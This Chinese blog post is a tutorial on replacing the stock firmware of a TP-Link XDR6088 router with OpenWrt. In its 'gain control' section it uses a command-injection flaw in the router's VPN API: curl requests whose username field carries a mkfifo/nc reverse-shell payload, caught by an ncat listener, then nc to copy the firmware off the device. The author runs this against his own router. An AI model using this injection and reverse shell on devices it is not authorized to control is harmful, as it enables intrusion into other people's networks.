Table of contents
Open Table of contents
前言
很久之前就看到 XDR 6088 支持了 OpenWrt,但那时支持它的主要还是 Lean’s LEDE 的各种改版,作为更喜欢官方原版 OpenWrt 的我,实在是没有下手操作的动力。
不久之后看到 OpenWrt/ImmortalWrt 也在 snapshot 版本对 XDR 6088 增加了支持,便想着等加入主线以后就搞一下,可惜后面忙起来也忘记了。这个周末终于想起来了这一件事,并且 OpenWrt 也已经从 23.05 更新到了 23.05.2,稳定性应该比我看到之时有了更大的提升,那便开始操作,并在这篇文章内记录下,以下的操作步骤同样适用于 XDR6086 与 XDR4288。
本文发布时,XDR6088 TP 固件版本为 1.25,OpenWrt 固件版本为 23.05.2,后续跟随时间变动版本可能发生变化,如步骤发生变动,欢迎留言提醒改动。
参考文档: TL-XDR6088/6086 刷入官方 Openwrt/Immortalwrt
准备操作
准备 OpenWrt 镜像文件
这里可以选择自行编译固件或者直接直接 OpenWrt 的官方 Release,下载地址:OpenWrt Firmware Selector。输入设备型号后即可获得所有需要的文件,如下图所示:
我们需要下载这里蓝色的所有 4 个文件,同时,将 openwrt-23.05.2-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb
重新命名为 openwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb
,最终结果如下图所示:
设置电脑 IP,安装 nmap
,路由器恢复出厂设置
在下一步之后我们便会断开与互联网的连接,所以在这里我们先安装一下后面要用的一个软件,命令行如下:
brew install nmap
!!!重要:使用网线将电脑与路由器的 1G
接口相连接,并手动设置电脑 IP
地址为 192.168.1.254
,子网掩码为 255.255.255.0
,网关设置为 192.168.1.1
,设置完成后结果如下图所示:
然后使用卡针等物品长按路由器侧边的 Reset
按钮十秒以上(进 web 后台也行),将路由器恢复出厂设置,同时进入后台设置密码(不重要,随便设置即可)。
tftp server 设置
使用 macOS 内建程序
我这里使用的是 macOS,系统内建了 tftp
支持,Linux 用户可以通过安装 atftp
、tftp-hpa
等工具来轻松解决,对于 Windows 系统用户,可以使用 tftp64
这个具有 GUI 的客户端,这里只对 macOS 进行说明,其他的大同小异,大家可以自行 Google 对应的 OS 或客户端如何设置 tftp server
。
不过 tftp
在macOS 上默认是未启用状态,终端内执行以下几行简单的命令即可完成上述操作,我们这里需要的步骤如下:
- 更改
tftp
工作目录权限:sudo chmod 777 /private/tftpboot
- 启用
tftp
服务:sudo launchctl load -F /System/Library/LaunchDaemons/tftp.plist sudo launchctl start com.apple.tftpd
- 将上一步下载的文件放置在
/private/tftpboot
,最终结果如下:
使用第三方软件如 TftpServer
下载链接,下载后点击 Start TFTP
,并将路径设置为存放 OpenWrt 固件的路径即可。
正文开始:OpenWrt 安装
获取路由器控制权限
获取路由器 stok
进入路由器后台网址,打开浏览器开发者模式,在网络选项下找到一个名为 ds
的项目,点击请求标头,复制 stock=
与 /ds
之间的内容,如下图所示:
接下来打开终端,将获取到的 stok
设置为环境变量,命令如下:
export stok={刚刚拿到的那一串内容}
运行 ncat
监听
打开终端,输入如下命令:
ncat -nvlp 4444
通过路由器 vpn 权限漏洞获取权限
打开一个新的终端,依次输入如下命令:
curl http://192.168.1.1/stok=$stok/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"add"}'
执行成功后应该能看到终端输出返回 {"error_code":0}
,如下图所示:
然后执行下面的命令:
curl http://192.168.1.1/stok=$stok/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"1"}},"method":"set"}'
同样可以看到返回 {"error_code":0}
,并且刚刚运行的 ncat
会有如下图所示的变化:
这时我们便获取了路由器的控制权限,可以进行下一步的操作。
备份路由器原始固件
输入如下命令即可备份固件:
dd if=/dev/mtdblock9 of=/tmp/backup.img bs=131072
等待程序运行完成,会有类似如下的运行结果:
x+y records in
a+b records out
检查备份文件 `md5:
md5sum /tmp/backup.img
这时我想使用参考文档中的命令使用 tftp
将备份过后的固件,但出现了如下错误:
Error code 2: Access violation
看了下参考文档的评论已经有人给出了相同的错误,最终使用 nc
将备份文件保存了下来,命令如下:
电脑运行:
nc -l 3333 > /path/tp/store/tp_backup.img
路由器运行:
nc 192.168.1.254 3333 < /tmp/backup.img
这样就可以成功的将备份文件保存下来。后来想了想,可能有以下的几个原因:
- 我当时使用的是
TftpServer
这个软件,使用的是自定义路径,目录权限并不是777
。 tftp
被 TP 进行了更新,可能需要新增-c
才能创建文件。tftp
发送文件到服务端前,我的电脑路径下需要先有这个文件才可以。
以上猜测的参考文档:askubuntu.com。
安装 OpenWrt uboot
传输 uboot 文件
我们在传输前后还是检查下文件的 md5
,确保万无一失,毕竟这个出点差错,真的是会变砖的,到时候只能硬件 TTL
救活了,这里及后文将不再赘述 md5
,uboot 传输命令如下:
tftp -g -l /tmp/preloader.bin -r openwrt-23.05.2-mediatek-filogic-tplink_tl-xdr6088-preloader.bin 192.168.1.254
tftp -g -l /tmp/uboot.fip -r openwrt-23.05.2-mediatek-filogic-tplink_tl-xdr6088-bl31-uboot.fip 192.168.1.254
写入 uboot 文件
在此之前你还可以后悔,下面的步骤可千万错不得,不然就是砖了,一定按照顺序执行下面的命令,第一条:
dd bs=131072 conv=sync of=/dev/mtdblock9 if=/tmp/preloader.bin
第二条:
dd bs=131072 conv=sync of=/dev/mtdblock9 seek=28 if=/tmp/uboot.fip
执行完毕后终端将有类似下面的输出:
重启路由器,写入 recovery 镜像并安装 sysupgrade
我们简单粗暴一些,直接拔掉路由器电源再插上进行重启,注意,这里不要断开路由器与电脑的连接。路由器重启后将后台通过 tftp
从我们的电脑上请求 openwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb
文件,这里只需要打开浏览器,输入 192.168.1.1
进行等待以及时不时的刷新即可,最终将会进入到如下界面:
直接点击 Log in
进入网页,按照网页提示上传 sysupgrade.itb
镜像,如下图所示:
然后点击 Upload
, Continue
,等待系统安装,然后就可以大功告成。
配置 OpenWrt 无线功能
我们进入后台会发现无线功能默认都是禁用的,需要手动启用:
这里以此从上而下为 2.4G
与 5G
网络,我们点击 Enable
,等待转圈结束后,点击 Edit
,设置名称与密码即可,这里不再赘述。
5G
无线信号设置与增强
我们都知道 ASUS 路由器可以通过更改地区为澳大利亚从而获得更大的无线功率,进而提升信号,其实 OpenWrt 也是可以的,设置步骤如下:
- 点击
5G
网络的Edit
按钮,将国家设置为AU
,同时将覆盖强度设置为非常强,如下图所示: - 点击保存按钮,等待生效,生效后我们可能会无法搜索到
5G
网络,不要着急,还有一步,再次进入编辑界面,将无线信道固定为36
,同时你会发现,无线功率已经可以调整为23dBm
,而不是之前的 20,如下图所示:
关闭 tftp server
对于使用 macOS 内建 tftp server 的话,我们还需要关闭,依次执行以下的命令即可:
sudo launchctl stop com.apple.tftpd
sudo launchctl unload -F /System/Library/LaunchDaemons/tftp.plist
sudo chmod 655 /private/tftpboot
如何回退为原厂固件
我目前使用比较满意,还没有进行过回退操作,大家可以根据文章开始展示的参考文章进行操作。
结语
到此为止,XDR6088 的 OpenWrt 安装便告一个段落,我目前使用下来,信号强度与网络速度等等与其作为 AP 时无异,我正在使用它来替换之前的 X86 OpenWrt 软路由,目前没有明显差异。我所使用到的插件,例如 ddns
, wireguard
, socat
以及 openxxx
使用正常。如果还有其他疑问或在安装的时候碰到一些疑惑,请在文章下方留言,博主将在看到后及时进行回复。